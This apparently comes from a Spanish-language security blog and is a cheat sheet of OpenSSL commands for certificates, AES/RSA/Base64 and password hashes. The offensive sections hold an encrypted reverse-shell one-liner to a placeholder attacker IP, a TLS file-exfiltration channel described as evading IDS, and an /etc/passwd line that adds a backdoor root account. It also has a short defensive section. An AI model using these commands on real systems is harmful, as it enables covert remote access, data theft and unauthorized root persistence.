← Blog

OpenSSL — Certificados, Cifrado, Shells TLS y Hashes

OpenSSL en operaciones: generación de certificados, servidores/cliente TLS, reverse shells cifradas, cifrado AES/RSA/Base64, y generación de hashes /etc/passwd.

1. Operational Scope & Technical Objective

openssl es la librería/CLI criptográfica de referencia: genera certificados, cifra y descifra (AES, RSA, Base64), monta servidores TLS improvisados (s_server) y produce hashes de contraseña del estilo /etc/passwd. En un engagement concentra tres funciones: canales de exfiltración cifrados (reverse shell o transferencia de ficheros dentro de TLS, indetectable en claro), creación de material PKI para socat/ncat/pentesting de TLS, y manipulación de credenciales del sistema (hashes $1$ para /etc/passwd).

2. High-Impact Syntax & Command Cheatsheet

# Certificado autofirmado + servidor/descarga por TLS
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
#   -newkey rsa:2048 -> genera clave RSA de 2048 bits
#   -nodes           -> clave privada SIN passphrase (para uso no interactivo)
#   -x509            -> emite un certificado autofirmado directamente
#   -days 365        -> validez

# Servidor TLS que sirve un fichero al conectarse
openssl s_server -quiet -accept <PORT> -cert certificate.pem -key key.pem < <FILEPATH>
#   -quiet   -> sin banners extra
#   -accept  -> puerto de escucha

# Cliente: descargar el fichero del servidor TLS
openssl s_client -connect <ATTACKER_IP>:<PORT> -quiet > <FILEPATH>

# Generar certificado cliente desde una CA
openssl req -x509 -new -nodes -key ca.key -sha256 -days 1024 -out rh.pem
openssl pkcs12 -export -in rh.pem -inkey ca.key -out rh.p12   # formato .p12 (Windows)

# Reverse shell cifrada (Linux)
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <ATTACKER-IP>:<PORT> > /tmp/s; rm /tmp/s
#  un FIFO conecta stdin/stdout del shell con el canal TLS; el listener es el s_server de arriba

# Cifrado AES (con passphrase)
openssl enc -aes-128-cbc -in plain.txt -out cipher        # cifrar (pide password)
openssl enc -aes-128-cbc -d -in cipher -out cipher-dec.txt  # descifrar

# Base64
echo "Hello World" > plain.txt
openssl enc -base64 -in plain.txt                          # codifica a stdout
openssl enc -base64 -in plain.txt -out cipher.txt          # guardar
openssl enc -base64 -d -in cipher.txt                      # decodificar

# RSA
openssl genrsa -out keypair 2048                           # par de claves
openssl rsa -in keypair -pubout                            # extrae la pública
openssl rsa -in keypair -text                              # detalle del módulo/exponentes

# Hashes de contraseña para /etc/passwd
openssl passwd Password123                                 # hash por defecto
openssl passwd -1 -salt User123 Password123                # $1$ MD5-crypt con salt
openssl passwd -1 -salt rh0x01 password123                 # hash con salt fijo

# Certificado autofirmado + conversión
openssl req -newkey rsa:2048 -nodes -keyout my_cert.key -x509 -days 365 -out my_cert.crt
openssl pkcs12 -export -in my_cert.crt -inkey my_cert.key -out my_cert.p12
openssl pkcs12 -in my_cert.p12 -nodes -out my_cert.pem

3. Real-World Offensive/Defensive Scenarios

Canal de exfiltración TLS. s_server + s_client transfieren un fichero sin dejar tráfico en claro: el volumen que sale es una sesión TLS que un IDS no lee (salvo que haya inspección MITM con CA corporativa). La reverse shell con FIFO encadena el mismo principio a un shell interactivo.

Fuerza de contraseñas del sistema. openssl passwd -1 -salt rh0x01 password123 genera un hash $1$ para sobrescribir /etc/passwd de un Linux con ejecución (añadir root:$1$hacked$AT54UB5LPtGe8TddyLG9O0:0:0:root:/root:/bin/bash crea un root sin passphrase conocida). El vector asume /etc/passwd escribible o post-escalada — el ataque clásico a hashes almacenados en el fichero de usuarios.

Inspección de TLS (defensa). openssl s_client -connect <host>:<port> conecta a cualquier servicio TLS y muestra el certificado/cifrados; en Blue Team se usa para auditar caducidad, algoritmos débiles o cadenas rotas sin instalar herramientas extra. La defensa contra las shell TLS exige inspección del egress (proxy MITM) y bloqueo de s_server/openssl como binarios de transferencia en los endpoints.

Cifrados a enumerar: openssl list -cipher-commands lista los cifrados disponibles — útil para comprobar la política del sistema contra suites débiles.